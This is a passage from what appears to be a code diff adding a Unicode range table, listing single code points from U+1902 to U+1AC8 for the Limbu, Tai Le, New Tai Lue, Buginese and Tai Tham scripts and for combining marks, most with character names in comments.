+ [0x1902, 0x1902], /* LIMBU LETTER KHA */
+ [0x1903, 0x1903], /* LIMBU LETTER GA */
+ [0x1904, 0x1904], /* LIMBU LETTER GHA */
+ [0x1905, 0x1905], /* LIMBU LETTER NGA */
+ [0x1906, 0x1906], /* LIMBU LETTER CA */
+ [0x1907, 0x1907], /* LIMBU LETTER CHA */
+ [0x1908, 0x1908], /* LIMBU LETTER JA */
+ [0x1909, 0x1909], /* LIMBU LETTER JHA */
+ [0x190a, 0x190a], /* LIMBU LETTER YAN */
+ [0x190b, 0x190b], /* LIMBU LETTER TA */
+ [0x190c, 0x190c], /* LIMBU LETTER THA */
+ [0x190d, 0x190d], /* LIMBU LETTER DA */
+ [0x190e, 0x190e], /* LIMBU LETTER DHA */
+ [0x190f, 0x190f], /* LIMBU LETTER NA */
+ [0x1910, 0x1910], /* LIMBU LETTER PA */
+ [0x1911, 0x1911], /* LIMBU LETTER PHA */
+ [0x1912, 0x1912], /* LIMBU LETTER BA */
+ [0x1913, 0x1913], /* LIMBU LETTER BHA */
+ [0x1914, 0x1914], /* LIMBU LETTER MA */
+ [0x1915, 0x1915], /* LIMBU LETTER YA */
+ [0x1916, 0x1916], /* LIMBU LETTER RA */
+ [0x1917, 0x1917], /* LIMBU LETTER LA */
+ [0x1918, 0x1918], /* LIMBU LETTER WA */
+ [0x1919, 0x1919], /* LIMBU LETTER SHA */
+ [0x191a, 0x191a], /* LIMBU LETTER SSA */
+ [0x191b, 0x191b], /* LIMBU LETTER SA */
+ [0x191c, 0x191c], /* LIMBU LETTER HA */
+ [0x191d, 0x191d], /* LIMBU LETTER GYAN */
+ [0x191e, 0x191e], /* LIMBU LETTER TRA */
+ [0x191f, 0x191f],
+ [0x1920, 0x1920], /* LIMBU VOWEL SIGN A */
+ [0x1921, 0x1921], /* LIMBU VOWEL SIGN I */
+ [0x1922, 0x1922], /* LIMBU VOWEL SIGN U */
+ [0x1923, 0x1923], /* LIMBU VOWEL SIGN EE */
+ [0x1924, 0x1924], /* LIMBU VOWEL SIGN AI */
+ [0x1925, 0x1925], /* LIMBU VOWEL SIGN OO */
+ [0x1926, 0x1926], /* LIMBU VOWEL SIGN AU */
+ [0x1927, 0x1927], /* LIMBU VOWEL SIGN E */
+ [0x1928, 0x1928], /* LIMBU VOWEL SIGN O */
+ [0x1929, 0x1929], /* LIMBU SUBJOINED LETTER YA */
+ [0x192a, 0x192a], /* LIMBU SUBJOINED LETTER RA */
+ [0x192b, 0x192b], /* LIMBU SUBJOINED LETTER WA */
+ [0x192c, 0x192c],
+ [0x192d, 0x192d],
+ [0x192e, 0x192e],
+ [0x192f, 0x192f],
+ [0x1930, 0x1930], /* LIMBU SMALL LETTER KA */
+ [0x1931, 0x1931], /* LIMBU SMALL LETTER NGA */
+ [0x1932, 0x1932], /* LIMBU SMALL LETTER ANUSVARA */
+ [0x1933, 0x1933], /* LIMBU SMALL LETTER TA */
+ [0x1934, 0x1934], /* LIMBU SMALL LETTER NA */
+ [0x1935, 0x1935], /* LIMBU SMALL LETTER PA */
+ [0x1936, 0x1936], /* LIMBU SMALL LETTER MA */
+ [0x1937, 0x1937], /* LIMBU SMALL LETTER RA */
+ [0x1938, 0x1938], /* LIMBU SMALL LETTER LA */
+ [0x1939, 0x1939], /* LIMBU SIGN MUKPHRENG */
+ [0x193a, 0x193a], /* LIMBU SIGN KEMPHRENG */
+ [0x193b, 0x193b], /* LIMBU SIGN SA-I */
+ [0x193c, 0x193c],
+ [0x193d, 0x193d],
+ [0x193e, 0x193e],
+ [0x193f, 0x193f],
+ [0x1940, 0x1940], /* LIMBU SIGN LOO */
+ [0x1941, 0x1941],
+ [0x1942, 0x1942],
+ [0x1943, 0x1943],
+ [0x1944, 0x1944], /* LIMBU EXCLAMATION MARK */
+ [0x1945, 0x1945], /* LIMBU QUESTION MARK */
+ [0x1946, 0x1946], /* LIMBU DIGIT ZERO */
+ [0x1947, 0x1947], /* LIMBU DIGIT ONE */
+ [0x1948, 0x1948], /* LIMBU DIGIT TWO */
+ [0x1949, 0x1949], /* LIMBU DIGIT THREE */
+ [0x194a, 0x194a], /* LIMBU DIGIT FOUR */
+ [0x194b, 0x194b], /* LIMBU DIGIT FIVE */
+ [0x194c, 0x194c], /* LIMBU DIGIT SIX */
+ [0x194d, 0x194d], /* LIMBU DIGIT SEVEN */
+ [0x194e, 0x194e], /* LIMBU DIGIT EIGHT */
+ [0x194f, 0x194f], /* LIMBU DIGIT NINE */
+ [0x1950, 0x1950], /* TAI LE LETTER KA */
+ [0x1951, 0x1951], /* TAI LE LETTER XA */
+ [0x1952, 0x1952], /* TAI LE LETTER NGA */
+ [0x1953, 0x1953], /* TAI LE LETTER TSA */
+ [0x1954, 0x1954], /* TAI LE LETTER SA */
+ [0x1955, 0x1955], /* TAI LE LETTER YA */
+ [0x1956, 0x1956], /* TAI LE LETTER TA */
+ [0x1957, 0x1957], /* TAI LE LETTER THA */
+ [0x1958, 0x1958], /* TAI LE LETTER LA */
+ [0x1959, 0x1959], /* TAI LE LETTER PA */
+ [0x195a, 0x195a], /* TAI LE LETTER PHA */
+ [0x195b, 0x195b], /* TAI LE LETTER MA */
+ [0x195c, 0x195c], /* TAI LE LETTER FA */
+ [0x195d, 0x195d], /* TAI LE LETTER VA */
+ [0x195e, 0x195e], /* TAI LE LETTER HA */
+ [0x195f, 0x195f], /* TAI LE LETTER QA */
+ [0x1960, 0x1960], /* TAI LE LETTER KHA */
+ [0x1961, 0x1961], /* TAI LE LETTER TSHA */
+ [0x1962, 0x1962], /* TAI LE LETTER NA */
+ [0x1963, 0x1963], /* TAI LE LETTER A */
+ [0x1964, 0x1964], /* TAI LE LETTER I */
+ [0x1965, 0x1965], /* TAI LE LETTER EE */
+ [0x1966, 0x1966], /* TAI LE LETTER EH */
+ [0x1967, 0x1967], /* TAI LE LETTER U */
+ [0x1968, 0x1968], /* TAI LE LETTER OO */
+ [0x1969, 0x1969], /* TAI LE LETTER O */
+ [0x196a, 0x196a], /* TAI LE LETTER UE */
+ [0x196b, 0x196b], /* TAI LE LETTER E */
+ [0x196c, 0x196c], /* TAI LE LETTER AUE */
+ [0x196d, 0x196d], /* TAI LE LETTER AI */
+ [0x196e, 0x196e],
+ [0x196f, 0x196f],
+ [0x1970, 0x1970], /* TAI LE LETTER TONE-2 */
+ [0x1971, 0x1971], /* TAI LE LETTER TONE-3 */
+ [0x1972, 0x1972], /* TAI LE LETTER TONE-4 */
+ [0x1973, 0x1973], /* TAI LE LETTER TONE-5 */
+ [0x1974, 0x1974], /* TAI LE LETTER TONE-6 */
+ [0x1975, 0x1975],
+ [0x1976, 0x1976],
+ [0x1977, 0x1977],
+ [0x1978, 0x1978],
+ [0x1979, 0x1979],
+ [0x197a, 0x197a],
+ [0x197b, 0x197b],
+ [0x197c, 0x197c],
+ [0x197d, 0x197d],
+ [0x197e, 0x197e],
+ [0x197f, 0x197f],
+ [0x1980, 0x1980], /* NEW TAI LUE LETTER HIGH QA */
+ [0x1981, 0x1981], /* NEW TAI LUE LETTER LOW QA */
+ [0x1982, 0x1982], /* NEW TAI LUE LETTER HIGH KA */
+ [0x1983, 0x1983], /* NEW TAI LUE LETTER HIGH XA */
+ [0x1984, 0x1984], /* NEW TAI LUE LETTER HIGH NGA */
+ [0x1985, 0x1985], /* NEW TAI LUE LETTER LOW KA */
+ [0x1986, 0x1986], /* NEW TAI LUE LETTER LOW XA */
+ [0x1987, 0x1987], /* NEW TAI LUE LETTER LOW NGA */
+ [0x1988, 0x1988], /* NEW TAI LUE LETTER HIGH TSA */
+ [0x1989, 0x1989], /* NEW TAI LUE LETTER HIGH SA */
+ [0x198a, 0x198a], /* NEW TAI LUE LETTER HIGH YA */
+ [0x198b, 0x198b], /* NEW TAI LUE LETTER LOW TSA */
+ [0x198c, 0x198c], /* NEW TAI LUE LETTER LOW SA */
+ [0x198d, 0x198d], /* NEW TAI LUE LETTER LOW YA */
+ [0x198e, 0x198e], /* NEW TAI LUE LETTER HIGH TA */
+ [0x198f, 0x198f], /* NEW TAI LUE LETTER HIGH THA */
+ [0x1990, 0x1990], /* NEW TAI LUE LETTER HIGH NA */
+ [0x1991, 0x1991], /* NEW TAI LUE LETTER LOW TA */
+ [0x1992, 0x1992], /* NEW TAI LUE LETTER LOW THA */
+ [0x1993, 0x1993], /* NEW TAI LUE LETTER LOW NA */
+ [0x1994, 0x1994], /* NEW TAI LUE LETTER HIGH PA */
+ [0x1995, 0x1995], /* NEW TAI LUE LETTER HIGH PHA */
+ [0x1996, 0x1996], /* NEW TAI LUE LETTER HIGH MA */
+ [0x1997, 0x1997], /* NEW TAI LUE LETTER LOW PA */
+ [0x1998, 0x1998], /* NEW TAI LUE LETTER LOW PHA */
+ [0x1999, 0x1999], /* NEW TAI LUE LETTER LOW MA */
+ [0x199a, 0x199a], /* NEW TAI LUE LETTER HIGH FA */
+ [0x199b, 0x199b], /* NEW TAI LUE LETTER HIGH VA */
+ [0x199c, 0x199c], /* NEW TAI LUE LETTER HIGH LA */
+ [0x199d, 0x199d], /* NEW TAI LUE LETTER LOW FA */
+ [0x199e, 0x199e], /* NEW TAI LUE LETTER LOW VA */
+ [0x199f, 0x199f], /* NEW TAI LUE LETTER LOW LA */
+ [0x19a0, 0x19a0], /* NEW TAI LUE LETTER HIGH HA */
+ [0x19a1, 0x19a1], /* NEW TAI LUE LETTER HIGH DA */
+ [0x19a2, 0x19a2], /* NEW TAI LUE LETTER HIGH BA */
+ [0x19a3, 0x19a3], /* NEW TAI LUE LETTER LOW HA */
+ [0x19a4, 0x19a4], /* NEW TAI LUE LETTER LOW DA */
+ [0x19a5, 0x19a5], /* NEW TAI LUE LETTER LOW BA */
+ [0x19a6, 0x19a6], /* NEW TAI LUE LETTER HIGH KVA */
+ [0x19a7, 0x19a7], /* NEW TAI LUE LETTER HIGH XVA */
+ [0x19a8, 0x19a8], /* NEW TAI LUE LETTER LOW KVA */
+ [0x19a9, 0x19a9], /* NEW TAI LUE LETTER LOW XVA */
+ [0x19aa, 0x19aa], /* NEW TAI LUE LETTER HIGH SUA */
+ [0x19ab, 0x19ab], /* NEW TAI LUE LETTER LOW SUA */
+ [0x19ac, 0x19ac],
+ [0x19ad, 0x19ad],
+ [0x19ae, 0x19ae],
+ [0x19af, 0x19af],
+ [0x19b0, 0x19b0], /* NEW TAI LUE VOWEL SIGN VOWEL SHORTENER */
+ [0x19b1, 0x19b1], /* NEW TAI LUE VOWEL SIGN AA */
+ [0x19b2, 0x19b2], /* NEW TAI LUE VOWEL SIGN II */
+ [0x19b3, 0x19b3], /* NEW TAI LUE VOWEL SIGN U */
+ [0x19b4, 0x19b4], /* NEW TAI LUE VOWEL SIGN UU */
+ [0x19b5, 0x19b5], /* NEW TAI LUE VOWEL SIGN E */
+ [0x19b6, 0x19b6], /* NEW TAI LUE VOWEL SIGN AE */
+ [0x19b7, 0x19b7], /* NEW TAI LUE VOWEL SIGN O */
+ [0x19b8, 0x19b8], /* NEW TAI LUE VOWEL SIGN OA */
+ [0x19b9, 0x19b9], /* NEW TAI LUE VOWEL SIGN UE */
+ [0x19ba, 0x19ba], /* NEW TAI LUE VOWEL SIGN AY */
+ [0x19bb, 0x19bb], /* NEW TAI LUE VOWEL SIGN AAY */
+ [0x19bc, 0x19bc], /* NEW TAI LUE VOWEL SIGN UY */
+ [0x19bd, 0x19bd], /* NEW TAI LUE VOWEL SIGN OY */
+ [0x19be, 0x19be], /* NEW TAI LUE VOWEL SIGN OAY */
+ [0x19bf, 0x19bf], /* NEW TAI LUE VOWEL SIGN UEY */
+ [0x19c0, 0x19c0], /* NEW TAI LUE VOWEL SIGN IY */
+ [0x19c1, 0x19c1], /* NEW TAI LUE LETTER FINAL V */
+ [0x19c2, 0x19c2], /* NEW TAI LUE LETTER FINAL NG */
+ [0x19c3, 0x19c3], /* NEW TAI LUE LETTER FINAL N */
+ [0x19c4, 0x19c4], /* NEW TAI LUE LETTER FINAL M */
+ [0x19c5, 0x19c5], /* NEW TAI LUE LETTER FINAL K */
+ [0x19c6, 0x19c6], /* NEW TAI LUE LETTER FINAL D */
+ [0x19c7, 0x19c7], /* NEW TAI LUE LETTER FINAL B */
+ [0x19c8, 0x19c8], /* NEW TAI LUE TONE MARK-1 */
+ [0x19c9, 0x19c9], /* NEW TAI LUE TONE MARK-2 */
+ [0x19ca, 0x19ca],
+ [0x19cb, 0x19cb],
+ [0x19cc, 0x19cc],
+ [0x19cd, 0x19cd],
+ [0x19ce, 0x19ce],
+ [0x19cf, 0x19cf],
+ [0x19d0, 0x19d0], /* NEW TAI LUE DIGIT ZERO */
+ [0x19d1, 0x19d1], /* NEW TAI LUE DIGIT ONE */
+ [0x19d2, 0x19d2], /* NEW TAI LUE DIGIT TWO */
+ [0x19d3, 0x19d3], /* NEW TAI LUE DIGIT THREE */
+ [0x19d4, 0x19d4], /* NEW TAI LUE DIGIT FOUR */
+ [0x19d5, 0x19d5], /* NEW TAI LUE DIGIT FIVE */
+ [0x19d6, 0x19d6], /* NEW TAI LUE DIGIT SIX */
+ [0x19d7, 0x19d7], /* NEW TAI LUE DIGIT SEVEN */
+ [0x19d8, 0x19d8], /* NEW TAI LUE DIGIT EIGHT */
+ [0x19d9, 0x19d9], /* NEW TAI LUE DIGIT NINE */
+ [0x19da, 0x19da], /* NEW TAI LUE THAM DIGIT ONE */
+ [0x19db, 0x19db],
+ [0x19dc, 0x19dc],
+ [0x19dd, 0x19dd],
+ [0x19de, 0x19de], /* NEW TAI LUE SIGN LAE */
+ [0x19df, 0x19df], /* NEW TAI LUE SIGN LAEV */
+ [0x19e0, 0x19e0], /* KHMER SYMBOL PATHAMASAT */
+ [0x19e1, 0x19e1], /* KHMER SYMBOL MUOY KOET */
+ [0x19e2, 0x19e2], /* KHMER SYMBOL PII KOET */
+ [0x19e3, 0x19e3], /* KHMER SYMBOL BEI KOET */
+ [0x19e4, 0x19e4], /* KHMER SYMBOL BUON KOET */
+ [0x19e5, 0x19e5], /* KHMER SYMBOL PRAM KOET */
+ [0x19e6, 0x19e6], /* KHMER SYMBOL PRAM-MUOY KOET */
+ [0x19e7, 0x19e7], /* KHMER SYMBOL PRAM-PII KOET */
+ [0x19e8, 0x19e8], /* KHMER SYMBOL PRAM-BEI KOET */
+ [0x19e9, 0x19e9], /* KHMER SYMBOL PRAM-BUON KOET */
+ [0x19ea, 0x19ea], /* KHMER SYMBOL DAP KOET */
+ [0x19eb, 0x19eb], /* KHMER SYMBOL DAP-MUOY KOET */
+ [0x19ec, 0x19ec], /* KHMER SYMBOL DAP-PII KOET */
+ [0x19ed, 0x19ed], /* KHMER SYMBOL DAP-BEI KOET */
+ [0x19ee, 0x19ee], /* KHMER SYMBOL DAP-BUON KOET */
+ [0x19ef, 0x19ef], /* KHMER SYMBOL DAP-PRAM KOET */
+ [0x19f0, 0x19f0], /* KHMER SYMBOL TUTEYASAT */
+ [0x19f1, 0x19f1], /* KHMER SYMBOL MUOY ROC */
+ [0x19f2, 0x19f2], /* KHMER SYMBOL PII ROC */
+ [0x19f3, 0x19f3], /* KHMER SYMBOL BEI ROC */
+ [0x19f4, 0x19f4], /* KHMER SYMBOL BUON ROC */
+ [0x19f5, 0x19f5], /* KHMER SYMBOL PRAM ROC */
+ [0x19f6, 0x19f6], /* KHMER SYMBOL PRAM-MUOY ROC */
+ [0x19f7, 0x19f7], /* KHMER SYMBOL PRAM-PII ROC */
+ [0x19f8, 0x19f8], /* KHMER SYMBOL PRAM-BEI ROC */
+ [0x19f9, 0x19f9], /* KHMER SYMBOL PRAM-BUON ROC */
+ [0x19fa, 0x19fa], /* KHMER SYMBOL DAP ROC */
+ [0x19fb, 0x19fb], /* KHMER SYMBOL DAP-MUOY ROC */
+ [0x19fc, 0x19fc], /* KHMER SYMBOL DAP-PII ROC */
+ [0x19fd, 0x19fd], /* KHMER SYMBOL DAP-BEI ROC */
+ [0x19fe, 0x19fe], /* KHMER SYMBOL DAP-BUON ROC */
+ [0x19ff, 0x19ff], /* KHMER SYMBOL DAP-PRAM ROC */
+ [0x1a00, 0x1a00], /* BUGINESE LETTER KA */
+ [0x1a01, 0x1a01], /* BUGINESE LETTER GA */
+ [0x1a02, 0x1a02], /* BUGINESE LETTER NGA */
+ [0x1a03, 0x1a03], /* BUGINESE LETTER NGKA */
+ [0x1a04, 0x1a04], /* BUGINESE LETTER PA */
+ [0x1a05, 0x1a05], /* BUGINESE LETTER BA */
+ [0x1a06, 0x1a06], /* BUGINESE LETTER MA */
+ [0x1a07, 0x1a07], /* BUGINESE LETTER MPA */
+ [0x1a08, 0x1a08], /* BUGINESE LETTER TA */
+ [0x1a09, 0x1a09], /* BUGINESE LETTER DA */
+ [0x1a0a, 0x1a0a], /* BUGINESE LETTER NA */
+ [0x1a0b, 0x1a0b], /* BUGINESE LETTER NRA */
+ [0x1a0c, 0x1a0c], /* BUGINESE LETTER CA */
+ [0x1a0d, 0x1a0d], /* BUGINESE LETTER JA */
+ [0x1a0e, 0x1a0e], /* BUGINESE LETTER NYA */
+ [0x1a0f, 0x1a0f], /* BUGINESE LETTER NYCA */
+ [0x1a10, 0x1a10], /* BUGINESE LETTER YA */
+ [0x1a11, 0x1a11], /* BUGINESE LETTER RA */
+ [0x1a12, 0x1a12], /* BUGINESE LETTER LA */
+ [0x1a13, 0x1a13], /* BUGINESE LETTER VA */
+ [0x1a14, 0x1a14], /* BUGINESE LETTER SA */
+ [0x1a15, 0x1a15], /* BUGINESE LETTER A */
+ [0x1a16, 0x1a16], /* BUGINESE LETTER HA */
+ [0x1a17, 0x1a17], /* BUGINESE VOWEL SIGN I */
+ [0x1a18, 0x1a18], /* BUGINESE VOWEL SIGN U */
+ [0x1a19, 0x1a19], /* BUGINESE VOWEL SIGN E */
+ [0x1a1a, 0x1a1a], /* BUGINESE VOWEL SIGN O */
+ [0x1a1b, 0x1a1b], /* BUGINESE VOWEL SIGN AE */
+ [0x1a1c, 0x1a1c],
+ [0x1a1d, 0x1a1d],
+ [0x1a1e, 0x1a1e], /* BUGINESE PALLAWA */
+ [0x1a1f, 0x1a1f], /* BUGINESE END OF SECTION */
+ [0x1a20, 0x1a20], /* TAI THAM LETTER HIGH KA */
+ [0x1a21, 0x1a21], /* TAI THAM LETTER HIGH KHA */
+ [0x1a22, 0x1a22], /* TAI THAM LETTER HIGH KXA */
+ [0x1a23, 0x1a23], /* TAI THAM LETTER LOW KA */
+ [0x1a24, 0x1a24], /* TAI THAM LETTER LOW KXA */
+ [0x1a25, 0x1a25], /* TAI THAM LETTER LOW KHA */
+ [0x1a26, 0x1a26], /* TAI THAM LETTER NGA */
+ [0x1a27, 0x1a27], /* TAI THAM LETTER HIGH CA */
+ [0x1a28, 0x1a28], /* TAI THAM LETTER HIGH CHA */
+ [0x1a29, 0x1a29], /* TAI THAM LETTER LOW CA */
+ [0x1a2a, 0x1a2a], /* TAI THAM LETTER LOW SA */
+ [0x1a2b, 0x1a2b], /* TAI THAM LETTER LOW CHA */
+ [0x1a2c, 0x1a2c], /* TAI THAM LETTER NYA */
+ [0x1a2d, 0x1a2d], /* TAI THAM LETTER RATA */
+ [0x1a2e, 0x1a2e], /* TAI THAM LETTER HIGH RATHA */
+ [0x1a2f, 0x1a2f], /* TAI THAM LETTER DA */
+ [0x1a30, 0x1a30], /* TAI THAM LETTER LOW RATHA */
+ [0x1a31, 0x1a31], /* TAI THAM LETTER RANA */
+ [0x1a32, 0x1a32], /* TAI THAM LETTER HIGH TA */
+ [0x1a33, 0x1a33], /* TAI THAM LETTER HIGH THA */
+ [0x1a34, 0x1a34], /* TAI THAM LETTER LOW TA */
+ [0x1a35, 0x1a35], /* TAI THAM LETTER LOW THA */
+ [0x1a36, 0x1a36], /* TAI THAM LETTER NA */
+ [0x1a37, 0x1a37], /* TAI THAM LETTER BA */
+ [0x1a38, 0x1a38], /* TAI THAM LETTER HIGH PA */
+ [0x1a39, 0x1a39], /* TAI THAM LETTER HIGH PHA */
+ [0x1a3a, 0x1a3a], /* TAI THAM LETTER HIGH FA */
+ [0x1a3b, 0x1a3b], /* TAI THAM LETTER LOW PA */
+ [0x1a3c, 0x1a3c], /* TAI THAM LETTER LOW FA */
+ [0x1a3d, 0x1a3d], /* TAI THAM LETTER LOW PHA */
+ [0x1a3e, 0x1a3e], /* TAI THAM LETTER MA */
+ [0x1a3f, 0x1a3f], /* TAI THAM LETTER LOW YA */
+ [0x1a40, 0x1a40], /* TAI THAM LETTER HIGH YA */
+ [0x1a41, 0x1a41], /* TAI THAM LETTER RA */
+ [0x1a42, 0x1a42], /* TAI THAM LETTER RUE */
+ [0x1a43, 0x1a43], /* TAI THAM LETTER LA */
+ [0x1a44, 0x1a44], /* TAI THAM LETTER LUE */
+ [0x1a45, 0x1a45], /* TAI THAM LETTER WA */
+ [0x1a46, 0x1a46], /* TAI THAM LETTER HIGH SHA */
+ [0x1a47, 0x1a47], /* TAI THAM LETTER HIGH SSA */
+ [0x1a48, 0x1a48], /* TAI THAM LETTER HIGH SA */
+ [0x1a49, 0x1a49], /* TAI THAM LETTER HIGH HA */
+ [0x1a4a, 0x1a4a], /* TAI THAM LETTER LLA */
+ [0x1a4b, 0x1a4b], /* TAI THAM LETTER A */
+ [0x1a4c, 0x1a4c], /* TAI THAM LETTER LOW HA */
+ [0x1a4d, 0x1a4d], /* TAI THAM LETTER I */
+ [0x1a4e, 0x1a4e], /* TAI THAM LETTER II */
+ [0x1a4f, 0x1a4f], /* TAI THAM LETTER U */
+ [0x1a50, 0x1a50], /* TAI THAM LETTER UU */
+ [0x1a51, 0x1a51], /* TAI THAM LETTER EE */
+ [0x1a52, 0x1a52], /* TAI THAM LETTER OO */
+ [0x1a53, 0x1a53], /* TAI THAM LETTER LAE */
+ [0x1a54, 0x1a54], /* TAI THAM LETTER GREAT SA */
+ [0x1a55, 0x1a55], /* TAI THAM CONSONANT SIGN MEDIAL RA */
+ [0x1a56, 0x1a56], /* TAI THAM CONSONANT SIGN MEDIAL LA */
+ [0x1a57, 0x1a57], /* TAI THAM CONSONANT SIGN LA TANG LAI */
+ [0x1a58, 0x1a58], /* TAI THAM SIGN MAI KANG LAI */
+ [0x1a59, 0x1a59], /* TAI THAM CONSONANT SIGN FINAL NGA */
+ [0x1a5a, 0x1a5a], /* TAI THAM CONSONANT SIGN LOW PA */
+ [0x1a5b, 0x1a5b], /* TAI THAM CONSONANT SIGN HIGH RATHA OR LOW PA */
+ [0x1a5c, 0x1a5c], /* TAI THAM CONSONANT SIGN MA */
+ [0x1a5d, 0x1a5d], /* TAI THAM CONSONANT SIGN BA */
+ [0x1a5e, 0x1a5e], /* TAI THAM CONSONANT SIGN SA */
+ [0x1a5f, 0x1a5f],
+ [0x1a60, 0x1a60], /* TAI THAM SIGN SAKOT */
+ [0x1a61, 0x1a61], /* TAI THAM VOWEL SIGN A */
+ [0x1a62, 0x1a62], /* TAI THAM VOWEL SIGN MAI SAT */
+ [0x1a63, 0x1a63], /* TAI THAM VOWEL SIGN AA */
+ [0x1a64, 0x1a64], /* TAI THAM VOWEL SIGN TALL AA */
+ [0x1a65, 0x1a65], /* TAI THAM VOWEL SIGN I */
+ [0x1a66, 0x1a66], /* TAI THAM VOWEL SIGN II */
+ [0x1a67, 0x1a67], /* TAI THAM VOWEL SIGN UE */
+ [0x1a68, 0x1a68], /* TAI THAM VOWEL SIGN UUE */
+ [0x1a69, 0x1a69], /* TAI THAM VOWEL SIGN U */
+ [0x1a6a, 0x1a6a], /* TAI THAM VOWEL SIGN UU */
+ [0x1a6b, 0x1a6b], /* TAI THAM VOWEL SIGN O */
+ [0x1a6c, 0x1a6c], /* TAI THAM VOWEL SIGN OA BELOW */
+ [0x1a6d, 0x1a6d], /* TAI THAM VOWEL SIGN OY */
+ [0x1a6e, 0x1a6e], /* TAI THAM VOWEL SIGN E */
+ [0x1a6f, 0x1a6f], /* TAI THAM VOWEL SIGN AE */
+ [0x1a70, 0x1a70], /* TAI THAM VOWEL SIGN OO */
+ [0x1a71, 0x1a71], /* TAI THAM VOWEL SIGN AI */
+ [0x1a72, 0x1a72], /* TAI THAM VOWEL SIGN THAM AI */
+ [0x1a73, 0x1a73], /* TAI THAM VOWEL SIGN OA ABOVE */
+ [0x1a74, 0x1a74], /* TAI THAM SIGN MAI KANG */
+ [0x1a75, 0x1a75], /* TAI THAM SIGN TONE-1 */
+ [0x1a76, 0x1a76], /* TAI THAM SIGN TONE-2 */
+ [0x1a77, 0x1a77], /* TAI THAM SIGN KHUEN TONE-3 */
+ [0x1a78, 0x1a78], /* TAI THAM SIGN KHUEN TONE-4 */
+ [0x1a79, 0x1a79], /* TAI THAM SIGN KHUEN TONE-5 */
+ [0x1a7a, 0x1a7a], /* TAI THAM SIGN RA HAAM */
+ [0x1a7b, 0x1a7b], /* TAI THAM SIGN MAI SAM */
+ [0x1a7c, 0x1a7c], /* TAI THAM SIGN KHUEN-LUE KARAN */
+ [0x1a7d, 0x1a7d],
+ [0x1a7e, 0x1a7e],
+ [0x1a7f, 0x1a7f], /* TAI THAM COMBINING CRYPTOGRAMMIC DOT */
+ [0x1a80, 0x1a80], /* TAI THAM HORA DIGIT ZERO */
+ [0x1a81, 0x1a81], /* TAI THAM HORA DIGIT ONE */
+ [0x1a82, 0x1a82], /* TAI THAM HORA DIGIT TWO */
+ [0x1a83, 0x1a83], /* TAI THAM HORA DIGIT THREE */
+ [0x1a84, 0x1a84], /* TAI THAM HORA DIGIT FOUR */
+ [0x1a85, 0x1a85], /* TAI THAM HORA DIGIT FIVE */
+ [0x1a86, 0x1a86], /* TAI THAM HORA DIGIT SIX */
+ [0x1a87, 0x1a87], /* TAI THAM HORA DIGIT SEVEN */
+ [0x1a88, 0x1a88], /* TAI THAM HORA DIGIT EIGHT */
+ [0x1a89, 0x1a89], /* TAI THAM HORA DIGIT NINE */
+ [0x1a8a, 0x1a8a],
+ [0x1a8b, 0x1a8b],
+ [0x1a8c, 0x1a8c],
+ [0x1a8d, 0x1a8d],
+ [0x1a8e, 0x1a8e],
+ [0x1a8f, 0x1a8f],
+ [0x1a90, 0x1a90], /* TAI THAM THAM DIGIT ZERO */
+ [0x1a91, 0x1a91], /* TAI THAM THAM DIGIT ONE */
+ [0x1a92, 0x1a92], /* TAI THAM THAM DIGIT TWO */
+ [0x1a93, 0x1a93], /* TAI THAM THAM DIGIT THREE */
+ [0x1a94, 0x1a94], /* TAI THAM THAM DIGIT FOUR */
+ [0x1a95, 0x1a95], /* TAI THAM THAM DIGIT FIVE */
+ [0x1a96, 0x1a96], /* TAI THAM THAM DIGIT SIX */
+ [0x1a97, 0x1a97], /* TAI THAM THAM DIGIT SEVEN */
+ [0x1a98, 0x1a98], /* TAI THAM THAM DIGIT EIGHT */
+ [0x1a99, 0x1a99], /* TAI THAM THAM DIGIT NINE */
+ [0x1a9a, 0x1a9a],
+ [0x1a9b, 0x1a9b],
+ [0x1a9c, 0x1a9c],
+ [0x1a9d, 0x1a9d],
+ [0x1a9e, 0x1a9e],
+ [0x1a9f, 0x1a9f],
+ [0x1aa0, 0x1aa0], /* TAI THAM SIGN WIANG */
+ [0x1aa1, 0x1aa1], /* TAI THAM SIGN WIANGWAAK */
+ [0x1aa2, 0x1aa2], /* TAI THAM SIGN SAWAN */
+ [0x1aa3, 0x1aa3], /* TAI THAM SIGN KEOW */
+ [0x1aa4, 0x1aa4], /* TAI THAM SIGN HOY */
+ [0x1aa5, 0x1aa5], /* TAI THAM SIGN DOKMAI */
+ [0x1aa6, 0x1aa6], /* TAI THAM SIGN REVERSED ROTATED RANA */
+ [0x1aa7, 0x1aa7], /* TAI THAM SIGN MAI YAMOK */
+ [0x1aa8, 0x1aa8], /* TAI THAM SIGN KAAN */
+ [0x1aa9, 0x1aa9], /* TAI THAM SIGN KAANKUU */
+ [0x1aaa, 0x1aaa], /* TAI THAM SIGN SATKAAN */
+ [0x1aab, 0x1aab], /* TAI THAM SIGN SATKAANKUU */
+ [0x1aac, 0x1aac], /* TAI THAM SIGN HANG */
+ [0x1aad, 0x1aad], /* TAI THAM SIGN CAANG */
+ [0x1aae, 0x1aae],
+ [0x1aaf, 0x1aaf],
+ [0x1ab0, 0x1ab0], /* COMBINING DOUBLED CIRCUMFLEX ACCENT */
+ [0x1ab1, 0x1ab1], /* COMBINING DIAERESIS-RING */
+ [0x1ab2, 0x1ab2], /* COMBINING INFINITY */
+ [0x1ab3, 0x1ab3], /* COMBINING DOWNWARDS ARROW */
+ [0x1ab4, 0x1ab4], /* COMBINING TRIPLE DOT */
+ [0x1ab5, 0x1ab5], /* COMBINING X-X BELOW */
+ [0x1ab6, 0x1ab6], /* COMBINING WIGGLY LINE BELOW */
+ [0x1ab7, 0x1ab7], /* COMBINING OPEN MARK BELOW */
+ [0x1ab8, 0x1ab8], /* COMBINING DOUBLE OPEN MARK BELOW */
+ [0x1ab9, 0x1ab9], /* COMBINING LIGHT CENTRALIZATION STROKE BELOW */
+ [0x1aba, 0x1aba], /* COMBINING STRONG CENTRALIZATION STROKE BELOW */
+ [0x1abb, 0x1abb], /* COMBINING PARENTHESES ABOVE */
+ [0x1abc, 0x1abc], /* COMBINING DOUBLE PARENTHESES ABOVE */
+ [0x1abd, 0x1abd], /* COMBINING PARENTHESES BELOW */
+ [0x1abe, 0x1abe], /* COMBINING PARENTHESES OVERLAY */
+ [0x1abf, 0x1abf],
+ [0x1ac0, 0x1ac0],
+ [0x1ac1, 0x1ac1],
+ [0x1ac2, 0x1ac2],
+ [0x1ac3, 0x1ac3],
+ [0x1ac4, 0x1ac4],
+ [0x1ac5, 0x1ac5],
+ [0x1ac6, 0x1ac6],
+ [0x1ac7, 0x1ac7],
+ [0x1ac8, 0x1ac8],
